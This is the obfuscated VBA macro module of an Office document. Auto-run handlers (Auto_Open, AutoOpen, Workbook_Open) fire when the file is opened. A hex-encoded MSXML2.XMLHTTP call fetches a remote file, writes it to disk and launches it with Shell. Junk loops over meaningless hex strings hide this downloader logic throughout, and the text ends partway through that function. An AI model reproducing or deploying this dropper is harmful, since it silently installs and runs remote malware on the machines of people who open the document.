Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() Dim ShQZEKpo, VwcTyYdl, pApIUlhR As String Dim zlXRUOUA As Integer For zlXRUOUA = 0 To 7 Dim fuisHauT, ZCdGXSlf, tiAOTpaI As String fuisHauT = HexToString("20202020202020202020204353524C5451202020202020202020202020202020") ZCdGXSlf = LTrim(fuisHauT) tiAOTpaI = RTrim(ZCdGXSlf) DoEvents Next zlXRUOUA Dim LKdTEvnR, yVBItdEG, rIZmegpg As String LKdTEvnR = HexToString("202020202020202020202057554D424546202020202020202020202020202020") yVBItdEG = LTrim(LKdTEvnR) rIZmegpg = RTrim(yVBItdEG) ShQZEKpo = HexToString("2020202020202020202020565251594B4A202020202020202020202020202020") Dim spiTjcal As Integer For spiTjcal = 0 To 3 Dim CKnkTWxn, KLPENNLA, FLMGmrjZ As String CKnkTWxn = HexToString("202020202020202020202054504746554A202020202020202020202020202020") KLPENNLA = LTrim(CKnkTWxn) FLMGmrjZ = RTrim(KLPENNLA) DoEvents Next spiTjcal Dim jMDMXwjN, XGmgpHiJ, FysNNCcm As String jMDMXwjN = HexToString("2020202020202020202020434650434D58202020202020202020202020202020") XGmgpHiJ = LTrim(jMDMXwjN) FysNNCcm = RTrim(XGmgpHiJ) VwcTyYdl = LTrim(ShQZEKpo) Dim FJkQyQfv As Integer For FJkQyQfv = 0 To 2 Dim hmDOzzcV, RqLdiDOY, uwiuJqlN As String hmDOzzcV = HexToString("2020202020202020202020564C4D545151202020202020202020202020202020") RqLdiDOY = LTrim(hmDOzzcV) uwiuJqlN = RTrim(RqLdiDOY) DoEvents Next FJkQyQfv Dim LkSEFNBx, yvvYhFeU, kRqOKAyK As String LkSEFNBx = HexToString("2020202020202020202020574D5556495A202020202020202020202020202020") yvvYhFeU = LTrim(LkSEFNBx) kRqOKAyK = RTrim(yvvYhFeU) pApIUlhR = RTrim(VwcTyYdl) Dim fXmADZxW As Integer For fXmADZxW = 0 To 6 Dim ViVfkYNf, LoobSPxg, GplQuGMj As String ViVfkYNf = HexToString("2020202020202020202020544B41534150202020202020202020202020202020") LoobSPxg = LTrim(ViVfkYNf) GplQuGMj = RTrim(LoobSPxg) DoEvents Next fXmADZxW Dim AtpCirKl, uNKkmbOq, BjIesYVF As String AtpCirKl = HexToString("20202020202020202020205A4C57424244202020202020202020202020202020") uNKkmbOq = LTrim(AtpCirKl) BjIesYVF = RTrim(uNKkmbOq) IGUCOBOAWDI End Sub Sub AutoOpen() Dim dUBfFTFi, iIoboOso, rOlQZFOq As String Dim LgGNwveL As Integer For LgGNwveL = 0 To 5 Dim gqAoQeJe, EaYSHFeQ, KJSjXbgl As String gqAoQeJe = HexToString("20202020202020202020204346444B4551202020202020202020202020202020") EaYSHFeQ = LTrim(gqAoQeJe) KJSjXbgl = RTrim(EaYSHFeQ) DoEvents Next LgGNwveL Dim wSaDbwbg, UKDHzoZb, TEjENqoV As String wSaDbwbg = HexToString("20202020202020202020204F5447454144202020202020202020202020202020") UKDHzoZb = LTrim(wSaDbwbg) TEjENqoV = RTrim(UKDHzoZb) dUBfFTFi = HexToString("202020202020202020202044545A53534F202020202020202020202020202020") Dim eqYUXvkp As Integer For eqYUXvkp = 0 To 3 Dim NEOGkcZL, WRLaSZNM, JTedyYcW As String NEOGkcZL = HexToString("202020202020202020202059454D424E59202020202020202020202020202020") WRLaSZNM = LTrim(NEOGkcZL) JTedyYcW = RTrim(WRLaSZNM) DoEvents Next eqYUXvkp Dim PGNkrnAM, gPUSjWlS, iavcizIh As String PGNkrnAM = HexToString("20202020202020202020205551484F4342202020202020202020202020202020") gPUSjWlS = LTrim(PGNkrnAM) iavcizIh = RTrim(gPUSjWlS) iIoboOso = LTrim(dUBfFTFi) Dim BTCqDZEg As Integer For BTCqDZEg = 0 To 6 Dim PyLcltsQ, dkikzZWt, AifWifuD As String PyLcltsQ = HexToString("2020202020202020202020475841494959202020202020202020202020202020") dkikzZWt = LTrim(PyLcltsQ) AifWifuD = RTrim(dkikzZWt) DoEvents Next BTCqDZEg Dim xFqKQSyi, IMCWdbol, MNOVGfdE As String xFqKQSyi = HexToString("20202020202020202020204F544D595557202020202020202020202020202020") IMCWdbol = LTrim(xFqKQSyi) MNOVGfdE = RTrim(IMCWdbol) rOlQZFOq = RTrim(iIoboOso) Dim BTWkoGmz As Integer For BTWkoGmz = 0 To 6 Dim pbKaVipj, ynzdlsYk, ansvDjrl As String pbKaVipj = HexToString("2020202020202020202020514156544A56202020202020202020202020202020") ynzdlsYk = LTrim(pbKaVipj) ansvDjrl = RTrim(ynzdlsYk) DoEvents Next BTWkoGmz Dim PHstMmcC, hSMbuGgF, ozPqCXRk As String PHstMmcC = HexToString("2020202020202020202020555358454B58202020202020202020202020202020") hSMbuGgF = LTrim(PHstMmcC) ozPqCXRk = RTrim(hSMbuGgF) Auto_Open End Sub Sub Workbook_Open() Dim mibzxVwm, BrucOlds, RBGKCFtr As String Dim RXZIAShB As Integer For RXZIAShB = 0 To 3 Dim bUuQVPIo, zKwTUikE, jIAoDLEs As String bUuQVPIo = HexToString("20202020202020202020204F5049465657202020202020202020202020202020") zKwTUikE = LTrim(bUuQVPIo) jIAoDLEs = RTrim(zKwTUikE) DoEvents Next RXZIAShB Dim XcdtAfzs, iEBirztx, yfZMzrQW As String XcdtAfzs = HexToString("202020202020202020202058434D535A4F202020202020202020202020202020") iEBirztx = LTrim(XcdtAfzs) yfZMzrQW = RTrim(iEBirztx) mibzxVwm = HexToString("20202020202020202020204B50564C4B4B202020202020202020202020202020") Dim ziNXaAfi As Integer For ziNXaAfi = 0 To 1 Dim XIFbkptW, KIVQSgZX, DOiCulNV As String XIFbkptW = HexToString("20202020202020202020205254584B4E42202020202020202020202020202020") KIVQSgZX = LTrim(XIFbkptW) DOiCulNV = RTrim(KIVQSgZX) DoEvents Next ziNXaAfi Dim aoFfnAwl, YrwIDCds, bmdlRrAG As String aoFfnAwl = HexToString("2020202020202020202020475750554F42202020202020202020202020202020") YrwIDCds = LTrim(aoFfnAwl) bmdlRrAG = RTrim(YrwIDCds) BrucOlds = LTrim(mibzxVwm) Dim SBFJZsll As Integer For SBFJZsll = 0 To 2 Dim KZLEPyie, ulBuGJlQ, ORfavget As String KZLEPyie = HexToString("2020202020202020202020534358455A44202020202020202020202020202020") ulBuGJlQ = LTrim(KZLEPyie) ORfavget = RTrim(ulBuGJlQ) DoEvents Next SBFJZsll Dim qFqLQZsi, xMCCfhgk, INONGrlZ As String qFqLQZsi = HexToString("202020202020202020202050485646584F202020202020202020202020202020") xMCCfhgk = LTrim(qFqLQZsi) INONGrlZ = RTrim(xMCCfhgk) RBGKCFtr = RTrim(BrucOlds) Dim FvnKOyDC As Integer For FvnKOyDC = 0 To 2 Dim LjQdGiSV, GkWvpdpB, PltPRjUN As String LjQdGiSV = HexToString("2020202020202020202020454357515356202020202020202020202020202020") GkWvpdpB = LTrim(LjQdGiSV) PltPRjUN = RTrim(GkWvpdpB) DoEvents Next FvnKOyDC Dim aFYflHvr, YOfOYqhW, bNtlckRv As String aFYflHvr = HexToString("2020202020202020202020475159555459202020202020202020202020202020") YOfOYqhW = LTrim(aFYflHvr) bNtlckRv = RTrim(YOfOYqhW) Auto_Open End Sub Function XBFAPGNWGLM(ByVal TPAOTURPFOP As String, ByVal TVJVKSFDLLP As String) As Boolean Dim VITXOMHNZWX As Object, HISBIEKZNOY As Long, IHKQTVUQCZB As Long, ETSVVGEHSOS() As Byte Dim xmccdXhH, BYQjXlBp, fxJWayqK As String Dim ONouzcZq As Integer For ONouzcZq = 0 To 3 Dim PPVhaeyl, BbeLyFja, AQkDGsNm As String PPVhaeyl = HexToString("2020202020202020202020494142585153202020202020202020202020202020") BbeLyFja = LTrim(PPVhaeyl) AQkDGsNm = RTrim(BbeLyFja) DoEvents Next ONouzcZq Dim QytrriLh, CsJuTWCn, okEpiONP As String QytrriLh = HexToString("20202020202020202020204A4648514859202020202020202020202020202020") CsJuTWCn = LTrim(QytrriLh) okEpiONP = RTrim(CsJuTWCn) xmccdXhH = HexToString("2020202020202020202020495248555441202020202020202020202020202020") Dim LJcrCbeU As Integer For LJcrCbeU = 0 To 9 Dim gBYwVzmn, qBJIluKA, yNaMDqhZ As String gBYwVzmn = HexToString("202020202020202020202046444B484A57202020202020202020202020202020") qBJIluKA = LTrim(gBYwVzmn) yNaMDqhZ = RTrim(qBJIluKA) DoEvents Next LJcrCbeU Dim MPPHJOIZ, DaAAUHCy, lXoXWqGC As String MPPHJOIZ = HexToString("2020202020202020202020534F49584A45202020202020202020202020202020") DaAAUHCy = LTrim(MPPHJOIZ) lXoXWqGC = RTrim(DaAAUHCy) BYQjXlBp = LTrim(xmccdXhH) Dim oVWtGldS As Integer For oVWtGldS = 0 To 8 Dim iplKcCkb, PmUSumNM, BqDjdysZ As String iplKcCkb = HexToString("20202020202020202020204156464B515A202020202020202020202020202020") PmUSumNM = LTrim(iplKcCkb) BqDjdysZ = RTrim(PmUSumNM) DoEvents Next oVWtGldS Dim jvWxurjJ, gpvotyXj, AhqsULNA As String jvWxurjJ = HexToString("20202020202020202020205556514D4A52202020202020202020202020202020") gpvotyXj = LTrim(jvWxurjJ) AhqsULNA = RTrim(gpvotyXj) fxJWayqK = RTrim(BYQjXlBp) Dim jyPVwGeN As Integer For jyPVwGeN = 0 To 9 Dim UtpnKwQQ, EtlSsniS, vyRBYRTD As String UtpnKwQQ = HexToString("20202020202020202020204348554B4654202020202020202020202020202020") EtlSsniS = LTrim(UtpnKwQQ) vyRBYRTD = RTrim(EtlSsniS) DoEvents Next jyPVwGeN Dim HkNGJkug, OIHnIvxK, gEvWWLfO As String HkNGJkug = HexToString("2020202020202020202020504E48574A4D202020202020202020202020202020") OIHnIvxK = LTrim(HkNGJkug) gEvWWLfO = RTrim(OIHnIvxK) Set VITXOMHNZWX = CreateObject(HexToString("4D53584D4C322E584D4C48545450")) VITXOMHNZWX.Open HexToString("474554"), TPAOTURPFOP, False Dim nlWlldfb, SvUxMakP, PpqoKeCo As String Dim XvpXdzuw As Integer For XvpXdzuw = 0 To 9 Dim fYoEnSRj, ZxguTcHB, tIZagWbl As String fYoEnSRj = HexToString("2020202020202020202020434252454345202020202020202020202020202020") ZxguTcHB = LTrim(fYoEnSRj) tIZagWbl = RTrim(ZxguTcHB) DoEvents Next XvpXdzuw Dim VagOOasc, qiaSsFgU, xfDGDZlK As String VagOOasc = HexToString("202020202020202020202043535741595A202020202020202020202020202020") qiaSsFgU = LTrim(VagOOasc) xfDGDZlK = RTrim(qiaSsFgU) nlWlldfb = HexToString("20202020202020202020205157534C4349202020202020202020202020202020") Dim fcdOuBbF As Integer For fcdOuBbF = 0 To 6 Dim PWjWModf, YXnugfOg, AXPlOkuh As String PWjWModf = HexToString("20202020202020202020204253505A4756202020202020202020202020202020") YXnugfOg = LTrim(PWjWModf) AXPlOkuh = RTrim(YXnugfOg) DoEvents Next fcdOuBbF Dim fuKoxMCN, uxIMfasE, Qljgnxew As String fuKoxMCN = HexToString("2020202020202020202020574D5354554F202020202020202020202020202020") uxIMfasE = LTrim(fuKoxMCN) Qljgnxew = RTrim(uxIMfasE) SvUxMakP = LTrim(nlWlldfb) Dim WHhoDDsx As Integer For WHhoDDsx = 0 To 9 Dim TgTAlwsM, inMweLWg, xjBBiRuC As String TgTAlwsM = HexToString("202020202020202020202044414D504F46202020202020202020202020202020") inMweLWg = LTrim(TgTAlwsM) xjBBiRuC = RTrim(inMweLWg) DoEvents Next WHhoDDsx Dim DaKWFCdl, QQwUSBKK, CJiPgDXe As String DaKWFCdl = HexToString("20202020202020202020204B5350554941202020202020202020202020202020") QQwUSBKK = LTrim(DaKWFCdl) CJiPgDXe = RTrim(QQwUSBKK) PpqoKeCo = RTrim(SvUxMakP) Dim HlFjRZes As Integer For HlFjRZes = 0 To 8 Dim VPUlPPmy, MQJRrGKu, GQzHvLho As String VPUlPPmy = HexToString("202020202020202020202059594C465053202020202020202020202020202020") MQJRrGKu = LTrim(VPUlPPmy) GQzHvLho = RTrim(MQJRrGKu) DoEvents Next HlFjRZes Dim ceXDUGyl, jlDvvXmX, XgmLQjdF As String ceXDUGyl = HexToString("2020202020202020202020414B464D5359202020202020202020202020202020") jlDvvXmX = LTrim(ceXDUGyl) XgmLQjdF = RTrim(jlDvvXmX) VITXOMHNZWX.Send HexToString("676A766B76686C") Dim ATdUYIlO, xTxLNSHP, lYYtmJfS As String Dim VlcjckAj As Integer For VlcjckAj = 0 To 3 Dim HufbzyvT, lkZlQEiN, UiIVJglI As String HufbzyvT = HexToString("20202020202020202020204B43514F4E59202020202020202020202020202020") lkZlQEiN = LTrim(HufbzyvT) UiIVJglI = RTrim(lkZlQEiN) DoEvents Next VlcjckAj Dim HmANTIiz, znfeuwss, gYNyIpgx As String HmANTIiz = HexToString("20202020202020202020204C575A4F454C202020202020202020202020202020") znfeuwss = LTrim(HmANTIiz) gYNyIpgx = RTrim(znfeuwss) ATdUYIlO = HexToString("20202020202020202020204D5249584951202020202020202020202020202020") Dim qBTFlFUR As Integer For qBTFlFUR = 0 To 8 Dim DfTXigqx, OgGoZlIv, RhBmCcyb As String DfTXigqx = HexToString("20202020202020202020204E574B455841202020202020202020202020202020") OgGoZlIv = LTrim(DfTXigqx) RhBmCcyb = RTrim(OgGoZlIv) DoEvents Next qBTFlFUR Dim TbnKkjqb, qmodRQzj, HjHUJuMo As String TbnKkjqb = HexToString("2020202020202020202020434C42464741202020202020202020202020202020") qmodRQzj = LTrim(TbnKkjqb) HjHUJuMo = RTrim(qmodRQzj) xTxLNSHP = LTrim(ATdUYIlO) Dim azByVebN As Integer For azByVebN = 0 To 1 Dim EDdbSbvK, KEleKqPn, mFUCAIlW As String EDdbSbvK = HexToString("2020202020202020202020525A59415243202020202020202020202020202020") KEleKqPn = LTrim(EDdbSbvK) mFUCAIlW = RTrim(KEleKqPn) DoEvents Next azByVebN Dim TrHObPwY, EFlxcSzt, HMtbBbth As String TrHObPwY = HexToString("202020202020202020202046444F414E4D202020202020202020202020202020") EFlxcSzt = LTrim(TrHObPwY) HMtbBbth = RTrim(EFlxcSzt) lYYtmJfS = RTrim(xTxLNSHP) Dim HdnzErCy As Integer For HdnzErCy = 0 To 8 Dim nYqAENFe, wUwDCtsr, kITBkoOt As String nYqAENFe = HexToString("20202020202020202020204D52494C594D202020202020202020202020202020") wUwDCtsr = LTrim(nYqAENFe) kITBkoOt = RTrim(wUwDCtsr) DoEvents Next HdnzErCy Dim JVtEjZnt, PgXfiOHI, hpEOmtUb As String JVtEjZnt = HexToString("202020202020202020202050484C47524E202020202020202020202020202020") PgXfiOHI = LTrim(JVtEjZnt) hpEOmtUb = RTrim(PgXfiOHI) ETSVVGEHSOS = VITXOMHNZWX.responseBody Dim aeVRwHyq, TVYBIqCe, qMflWTGM As String Dim pORRZdyT As Integer For pORRZdyT = 0 To 2 Dim DErShlEF, hFlYBJso, RRcptZcJ As String DErShlEF = HexToString("20202020202020202020204A4959475544202020202020202020202020202020") hFlYBJso = LTrim(DErShlEF) RRcptZcJ = RTrim(hFlYBJso) DoEvents Next pORRZdyT Dim HYqDLhKz, zSCHmrXd, fKOLCJBx As String HYqDLhKz = HexToString("20202020202020202020204C414D455050202020202020202020202020202020") zSCHmrXd = LTrim(HYqDLhKz) fKOLCJBx = RTrim(zSCHmrXd) aeVRwHyq = HexToString("2020202020202020202020494951554A44202020202020202020202020202020") Dim GeLEdqeg As Integer For GeLEdqeg = 0 To 8 Dim CkYqgaSQ, KlHcOtpS, DlNOepUD As String CkYqgaSQ = HexToString("202020202020202020202054434B50424D202020202020202020202020202020") KlHcOtpS = LTrim(CkYqgaSQ) DlNOepUD = RTrim(KlHcOtpS) DoEvents Next GeLEdqeg Dim hooDXZcK, WtJopVhP, bNvExluA As String hooDXZcK = HexToString("2020202020202020202020485148535455202020202020202020202020202020") WtJopVhP = LTrim(hooDXZcK) bNvExluA = RTrim(WtJopVhP) TVYBIqCe = LTrim(aeVRwHyq) Dim TysWLbWP As Integer For TysWLbWP = 0 To 9 Dim DVhlBrKs, zDmVrGrM, RBOKDdDg As String DVhlBrKs = HexToString("20202020202020202020204F4955564F53202020202020202020202020202020") zDmVrGrM = LTrim(DVhlBrKs) RBOKDdDg = RTrim(zDmVrGrM) DoEvents Next TysWLbWP Dim kPjLQTLS, jwMYOUbs, ZAYOqwZx As String kPjLQTLS = HexToString("202020202020202020202055525859554B202020202020202020202020202020") jwMYOUbs = LTrim(kPjLQTLS) ZAYOqwZx = RTrim(jwMYOUbs) qMflWTGM = RTrim(TVYBIqCe) Dim oQcyILmk As Integer For oQcyILmk = 0 To 6 Dim EkcOvyHK, vlUWLqfL, mlKufgQM As String EkcOvyHK = HexToString("2020202020202020202020574346435243202020202020202020202020202020") vlUWLqfL = LTrim(EkcOvyHK) mlKufgQM = RTrim(vlUWLqfL) DoEvents Next oQcyILmk Dim ApRUcXeb, lnmlgeke, BweDAcpM As String ApRUcXeb = HexToString("20202020202020202020205A58544A554F202020202020202020202020202020") lnmlgeke = LTrim(ApRUcXeb) BweDAcpM = RTrim(lnmlgeke) IHKQTVUQCZB = FreeFile Open TVJVKSFDLLP For Binary As #IHKQTVUQCZB Dim VIIlfXUl, nLCfCljD, GOzJetZw As String Dim YdglYOLr As Integer For YdglYOLr = 0 To 9 Dim ZOlBlCSR, tWULzmwB, lPSxuyUU As String ZOlBlCSR = HexToString("202020202020202020202051514657495A202020202020202020202020202020") tWULzmwB = LTrim(ZOlBlCSR) lPSxuyUU = RTrim(tWULzmwB) DoEvents Next YdglYOLr Dim KtCrxXMu, rsOuBPVk, hkwpnvaZ As String KtCrxXMu = HexToString("20202020202020202020204D465351424E202020202020202020202020202020") rsOuBPVk = LTrim(KtCrxXMu) hkwpnvaZ = RTrim(rsOuBPVk) VIIlfXUl = HexToString("2020202020202020202020585057595941202020202020202020202020202020") Dim KLxJAuNl As Integer For KLxJAuNl = 0 To 5 Dim BsGufJWl, WdBlIWll, HfoReNHw As String BsGufJWl = HexToString("2020202020202020202020594D43494247202020202020202020202020202020") WdBlIWll = LTrim(BsGufJWl) HfoReNHw = RTrim(WdBlIWll) DoEvents Next KLxJAuNl Dim EjMqMWGO, osATuhUA, FupNlQvl As String EjMqMWGO = HexToString("202020202020202020202043464F434548202020202020202020202020202020") osATuhUA = LTrim(EjMqMWGO) FupNlQvl = RTrim(osATuhUA) nLCfCljD = LTrim(VIIlfXUl) Dim zICYoqGF As Integer For zICYoqGF = 0 To 3 Dim ftGelAxO, ZWWYbdIk, tupnoPkQ As String ftGelAxO = HexToString("2020202020202020202020435157474D56202020202020202020202020202020") ZWWYbdIk = LTrim(ftGelAxO) tupnoPkQ = RTrim(ZWWYbdIk) DoEvents Next zICYoqGF Dim kpvTKogd, hMzlHqMS, ZNFwlVCX As String kpvTKogd = HexToString("202020202020202020202055484E425059202020202020202020202020202020") hMzlHqMS = LTrim(kpvTKogd) ZNFwlVCX = RTrim(hMzlHqMS) GOzJetZw = RTrim(nLCfCljD) Dim lSUSfOqp As Integer For lSUSfOqp = 0 To 4 Dim RRSFkyyo, nTCNSpZp, wTusugNq As String RRSFkyyo = HexToString("2020202020202020202020584557424158202020202020202020202020202020") nTCNSpZp = LTrim(RRSFkyyo) wTusugNq = RTrim(nTCNSpZp) DoEvents Next lSUSfOqp Dim lxvyAdcq, dDhJllDF, JICsTFRT As String lxvyAdcq = HexToString("2020202020202020202020565A45454F4B202020202020202020202020202020") dDhJllDF = LTrim(lxvyAdcq) JICsTFRT = RTrim(dDhJllDF) Put #IHKQTVUQCZB, , ETSVVGEHSOS Dim XhrvHdSj, iwHAkaGA, lAZRMFKS As String Dim goGapZEr As Integer For goGapZEr = 0 To 3 Dim FMziqoIN, eOuSjMMI, TWwYNkEe As String FMziqoIN = HexToString("20202020202020202020205059414B4847202020202020202020202020202020") eOuSjMMI = LTrim(FMziqoIN) TWwYNkEe = RTrim(eOuSjMMI) DoEvents Next goGapZEr Dim PLToVCaq, CNksnQtw, oyrgzbiY As String PLToVCaq = HexToString("2020202020202020202020484945464441202020202020202020202020202020") CNksnQtw = LTrim(PLToVCaq) oyrgzbiY = RTrim(CNksnQtw) XhrvHdSj = HexToString("2020202020202020202020584C48574F49202020202020202020202020202020") Dim YuMPhGra As Integer For YuMPhGra = 0 To 3 Dim eQssLmiG, BSwcfbTH, MSTOUEeK As String eQssLmiG = HexToString("2020202020202020202020495549514652202020202020202020202020202020") BSwcfbTH = LTrim(eQssLmiG) MSTOUEeK = RTrim(BSwcfbTH) DoEvents Next YuMPhGra Dim DeQvQvLu, YlZpZToP, sgpRGaNA As String DeQvQvLu = HexToString("2020202020202020202020494B4F444656202020202020202020202020202020") YlZpZToP = LTrim(DeQvQvLu) sgpRGaNA = RTrim(YlZpZToP) iwHAkaGA = LTrim(XhrvHdSj) Dim STNFKKJM As Integer For STNFKKJM = 0 To 7 Dim tNNDvFie, UsfUisJx, XzlqdCet As String tNNDvFie = HexToString("2020202020202020202020424C52475143202020202020202020202020202020") UsfUisJx = LTrim(tNNDvFie) XzlqdCet = RTrim(UsfUisJx) DoEvents Next STNFKKJM Dim TbhHpfQD, EqLEihjs, GjTYOemx As String TbhHpfQD = HexToString("2020202020202020202020465658544C4F202020202020202020202020202020") EqLEihjs = LTrim(TbhHpfQD) GjTYOemx = RTrim(EqLEihjs) lAZRMFKS = RTrim(iwHAkaGA) Dim hpcHlfTb As Integer For hpcHlfTb = 0 To 3 Dim rnDgyHMo, NACnnWkp, WZiDWBGq As String rnDgyHMo = HexToString("2020202020202020202020494158535747202020202020202020202020202020") NACnnWkp = LTrim(rnDgyHMo) WZiDWBGq = RTrim(NACnnWkp) DoEvents Next hpcHlfTb Dim jEoDElxl, pMBcmbQX, FGULUMEF As String jEoDElxl = HexToString("20202020202020202020204354574D5057202020202020202020202020202020") pMBcmbQX = LTrim(jEoDElxl) FGULUMEF = RTrim(pMBcmbQX) Close #IHKQTVUQCZB Dim ihJfyZrM, rjabbYAW, BkqSMQBX As String Dim yfIMtlRP As Integer For yfIMtlRP = 0 To 2 Dim xRWvxekX, BHplynah, fYhXssdV As String xRWvxekX = HexToString("2020202020202020202020494F5A495054202020202020202020202020202020") BHplynah = LTrim(xRWvxekX) fYhXssdV = RTrim(BHplynah) DoEvents Next yfIMtlRP Dim rYQUBRsl, hScPnkgE, ZLpDzykF As String rYQUBRsl = HexToString("20202020202020202020204E5A554E444A202020202020202020202020202020") hScPnkgE = LTrim(rYQUBRsl) ZLpDzykF = RTrim(hScPnkgE) ihJfyZrM = HexToString("2020202020202020202020505856534D49202020202020202020202020202020") Dim RlFgOdeV As Integer For RlFgOdeV = 0 To 9 Dim knWNuMHl, fAtsABfm, oZgcWeQx As String knWNuMHl = HexToString("202020202020202020202047414254574A202020202020202020202020202020") fAtsABfm = LTrim(knWNuMHl) oZgcWeQx = RTrim(fAtsABfm) DoEvents Next RlFgOdeV Dim PlkKJgNi, EPoEIwgQ, iTHVWHyZ As String PlkKJgNi = HexToString("2020202020202020202020554142434A4C202020202020202020202020202020") EPoEIwgQ = LTrim(PlkKJgNi) iTHVWHyZ = RTrim(EPoEIwgQ) rjabbYAW = LTrim(ihJfyZrM) Dim HtncqYVy As Integer For HtncqYVy = 0 To 8 Dim FlELEzPn, epOcODXo, TwCklqTZ As String FlELEzPn = HexToString("2020202020202020202020504C47514251202020202020202020202020202020") epOcODXo = LTrim(FlELEzPn) TwCklqTZ = RTrim(epOcODXo) DoEvents Next HtncqYVy Dim aKjbVEKp, fVeZnjXm, brGTztBT As String aKjbVEKp = HexToString("20202020202020202020205A534A4A4446202020202020202020202020202020") fVeZnjXm = LTrim(aKjbVEKp) brGTztBT = RTrim(fVeZnjXm) BkqSMQBX = RTrim(rjabbYAW) Dim vkeHzhlI As Integer For vkeHzhlI = 0 To 7 Dim gchIucKv, pvbMAZhb, yvOyXYDn As String gchIucKv = HexToString("2020202020202020202020464E50585759202020202020202020202020202020") pvbMAZhb = LTrim(gchIucKv) yvOyXYDn = RTrim(pvbMAZhb) DoEvents Next vkeHzhlI Dim oTdBbPNS, zXePjJhh, UJQtEdui As String oTdBbPNS = HexToString("20202020202020202020204C59584E4952202020202020202020202020202020") zXePjJhh = LTrim(oTdBbPNS) UJQtEdui = RTrim(zXePjJhh) Dim WNBDJKBSMXA Dim oApmVPjk, zKayGJYW, YDInzdcS As String Dim ACKYeWPg As Integer For ACKYeWPg = 0 To 2 Dim wsdHlkpd, VxAPzGLU, ddYfiAth As String wsdHlkpd = HexToString("20202020202020202020204942514A4F53202020202020202020202020202020") VxAPzGLU = LTrim(wsdHlkpd) ddYfiAth = RTrim(VxAPzGLU) DoEvents Next ACKYeWPg Dim JIDpkAqH, eFbdLhfa, hMshwrks As String JIDpkAqH = HexToString("20202020202020202020204D5A49464348202020202020202020202020202020") eFbdLhfa = LTrim(JIDpkAqH) hMshwrks = RTrim(eFbdLhfa) oApmVPjk = HexToString("20202020202020202020204C5457514D52202020202020202020202020202020") Dim MGRneXES As Integer For MGRneXES = 0 To 3 Dim RhVwXgkI, bjoIjlGO, wklMPcdP As String RhVwXgkI = HexToString("2020202020202020202020585841484841202020202020202020202020202020") bjoIjlGO = LTrim(RhVwXgkI) wklMPcdP = RTrim(bjoIjlGO) DoEvents Next MGRneXES Dim lJEAQLbS, dimdAaGh, KezIGwYu As String lJEAQLbS = HexToString("2020202020202020202020565354464649202020202020202020202020202020") dimdAaGh = LTrim(lJEAQLbS) KezIGwYu = RTrim(dimdAaGh) zKayGJYW = LTrim(oApmVPjk) Dim NFQePumM As Integer For NFQePumM = 0 To 6 Dim VzalIsFl, dKuXFCNa, GemHcmOw As String VzalIsFl = HexToString("202020202020202020202047504E434148202020202020202020202020202020") dKuXFCNa = LTrim(VzalIsFl) GemHcmOw = RTrim(dKuXFCNa) DoEvents Next NFQePumM Dim fIkdllho, nFrhWill, SMHlcXxE As String fIkdllho = HexToString("2020202020202020202020534441564454202020202020202020202020202020") nFrhWill = LTrim(fIkdllho) SMHlcXxE = RTrim(nFrhWill) YDInzdcS = RTrim(zKayGJYW) Dim VNSKUwlY As Integer For VNSKUwlY = 0 To 6 Dim ltIOEEjP, gtLWVUFS, qyeulSsD As String ltIOEEjP = HexToString("202020202020202020202048484C435949202020202020202020202020202020") gtLWVUFS = LTrim(ltIOEEjP) qyeulSsD = RTrim(gtLWVUFS) DoEvents Next VNSKUwlY Dim WHjAvCDe, FuidhrzY, leGUZbMv As String WHjAvCDe = HexToString("2020202020202020202020535342464950202020202020202020202020202020") FuidhrzY = LTrim(WHjAvCDe) leGUZbMv = RTrim(FuidhrzY) WNBDJKBSMXA = Shell(TVJVKSFDLLP, 1) Dim uuHSsxxm, wCXhjoIe, VippNTkx As String Dim uHiaVMTN As Integer For uHiaVMTN = 0 To 2 Dim hJQvzhmv, KzNlQSrK, yKyCJvhn As String hJQvzhmv = HexToString("2020202020202020202020524743494E51202020202020202020202020202020") KzNlQSrK = LTrim(hJQvzhmv) yKyCJvhn = RTrim(KzNlQSrK) DoEvents Next uHiaVMTN Dim yWJnIYDD, kaEEpmHV, EuhYSiMi As String yWJnIYDD = HexToString("2020202020202020202020414F5043544B202020202020202020202020202020") kaEEpmHV = LTrim(yWJnIYDD) EuhYSiMi = RTrim(kaEEpmHV) uuHSsxxm = HexToString("20202020202020202020204C5357554858202020202020202020202020202020") Dim QUyMiVxs As Integer For QUyMiVxs = 0 To 1 Dim aLIdKlcs, CMKvdcWf, KMzPUZlg As String aLIdKlcs = HexToString("202020202020202020202055514C514645202020202020202020202020202020") CMKvdcWf = LTrim(aLIdKlcs) KMzPUZlg = RTrim(CMKvdcWf) DoEvents Next QUyMiVxs Dim iNbxtnhq, ajhiWURF, YsVZozxY As String iNbxtnhq = HexToString("20202020202020202020204C4A45535642202020202020202020202020202020") ajhiWURF = LTrim(iNbxtnhq) YsVZozxY = RTrim(ajhiWURF) wCXhjoIe = LTrim(uuHSsxxm) Dim zEcwNsqo As Integer For zEcwNsqo = 0 To 1 Dim bocZPlQn, DBZyGrCo, hpJNvAYZ As String bocZPlQn = HexToString("20202020202020202020205A44515A5A4C202020202020202020202020202020") DBZyGrCo = LTrim(bocZPlQn) hpJNvAYZ = RTrim(DBZyGrCo) DoEvents Next zEcwNsqo Dim qkGlxQGi, xcAxVvLl, OEfbndXZ As String qkGlxQGi = HexToString("2020202020202020202020505444414644202020202020202020202020202020") xcAxVvLl = LTrim(qkGlxQGi) OEfbndXZ = RTrim(xcAxVvLl) VippNTkx = RTrim(wCXhjoIe) Dim mcaatrsw As Integer For mcaatrsw = 0 To 4 Dim HFTLNdfM, QGGtmkQW, UHNjGwoC As String HFTLNdfM = HexToString("202020202020202020202041494B414B4E202020202020202020202020202020") QGGtmkQW = LTrim(HFTLNdfM) UHNjGwoC = RTrim(QGGtmkQW) DoEvents Next mcaatrsw Dim lMDhMwfK, sqRaQZZw, JyswVCmf As String lMDhMwfK = HexToString("2020202020202020202020564650494B58202020202020202020202020202020") sqRaQZZw = LTrim(lMDhMwfK) JyswVCmf = RTrim(sqRaQZZw) Set VITXOMHNZWX = Nothing Dim vSNlcThq, PKSxBllw, XBvbAuxY As String Dim LRNraeNe As Integer For LRNraeNe = 0 To 2 Dim SCCrccHA, aDeIZpzp, EVjZsYQR As String SCCrccHA = HexToString("20202020202020202020204F5556485858202020202020202020202020202020") aDeIZpzp = LTrim(SCCrccHA) EVjZsYQR = RTrim(aDeIZpzp) DoEvents Next LRNraeNe 